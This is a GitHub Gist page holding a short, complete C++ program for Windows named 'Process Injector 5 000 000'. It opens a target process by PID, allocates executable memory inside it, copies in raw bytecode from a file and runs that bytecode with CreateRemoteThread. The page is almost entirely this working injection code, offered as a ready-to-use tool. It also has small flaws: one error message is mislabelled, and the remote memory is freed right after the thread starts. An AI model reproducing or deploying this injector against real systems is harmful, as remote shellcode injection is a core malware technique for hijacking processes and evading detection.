Last active
October 29, 2020 19:13
-
-
Save visuve/401b62f950691a4c0edb8e2e2539d8a7 to your computer and use it in GitHub Desktop.
Process Injector 5 000 000
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <fstream> | |
| #include <string> | |
| #include <vector> | |
| #include <Windows.h> | |
| struct AutoClose | |
| { | |
| void operator()(void* handle) | |
| { | |
| if (!handle) | |
| { | |
| return; | |
| } | |
| if (!CloseHandle(handle)) | |
| { | |
| std::cerr << "CloseHandle failed for: " << handle << std::endl; | |
| } | |
| } | |
| }; | |
| DWORD Inject(int pid, const std::vector<char>& bytes) | |
| { | |
| std::unique_ptr<void, AutoClose> process( | |
| OpenProcess(PROCESS_ALL_ACCESS, FALSE, static_cast<DWORD>(pid))); | |
| if (!process) | |
| { | |
| std::cerr << "OpenProcess failed!" << std::endl; | |
| return GetLastError(); | |
| } | |
| LPVOID baseAddress = | |
| VirtualAllocEx(process.get(), nullptr, bytes.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| if (!baseAddress) | |
| { | |
| std::cerr << "VirtualAllocEx failed!" << std::endl; | |
| return GetLastError(); | |
| } | |
| SIZE_T bytesWritten = 0; | |
| if (!WriteProcessMemory(process.get(), baseAddress, bytes.data(), bytes.size(), &bytesWritten)) | |
| { | |
| std::cerr << "VirtualAllocEx failed!" << std::endl; | |
| DWORD error = GetLastError(); | |
| if (!VirtualFreeEx(process.get(), baseAddress, 0, MEM_RELEASE)) | |
| { | |
| std::cerr << "VirtualFreeEx failed!" << std::endl; | |
| } | |
| return error; | |
| } | |
| std::unique_ptr<void, AutoClose> remoteThread( | |
| CreateRemoteThread( | |
| process.get(), | |
| nullptr, | |
| 0, | |
| reinterpret_cast<LPTHREAD_START_ROUTINE>(baseAddress), | |
| nullptr, | |
| 0, | |
| 0)); | |
| if (!remoteThread) | |
| { | |
| std::cerr << "Failed to execute bytecode" << std::endl; | |
| return GetLastError(); | |
| } | |
| if (!VirtualFreeEx(process.get(), baseAddress, 0, MEM_RELEASE)) | |
| { | |
| std::cerr << "VirtualFreeEx failed!" << std::endl; | |
| } | |
| return ERROR_SUCCESS; | |
| } | |
| int main(int argc, char** argv) | |
| { | |
| // Started coding 21.10.2020 22:56 | |
| // Finished 21.10.2020 23:47 | |
| if (argc < 3) | |
| { | |
| std::cerr << "Process injector 5 000 000 (five million)" << std::endl; | |
| std::cerr << "Usage: "<< argv[0] << " <PID> <path to bytecode>" << std::endl; | |
| return ERROR_BAD_ARGUMENTS; | |
| } | |
| int pid = 0; | |
| try | |
| { | |
| pid = std::stoi(argv[1]); | |
| } | |
| catch (const std::logic_error& e) | |
| { | |
| std::cerr << "Failed to parse PID: " << argv[1] << ". Reason: " << e.what(); | |
| return ERROR_BAD_ARGUMENTS; | |
| } | |
| if (pid <= 0) | |
| { | |
| std::cerr << "Invalid PID: " << argv[1]; | |
| return ERROR_BAD_ARGUMENTS; | |
| } | |
| std::ifstream file(argv[2], std::ios::binary); | |
| if (!file) | |
| { | |
| std::cerr << "Failed to open: " << argv[2]; | |
| return GetLastError(); | |
| } | |
| std::vector<char> bytes( | |
| (std::istreambuf_iterator<char>(file)), | |
| (std::istreambuf_iterator<char>())); | |
| file.close(); | |
| return Inject(pid, bytes); | |
| } |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Sample bytecode: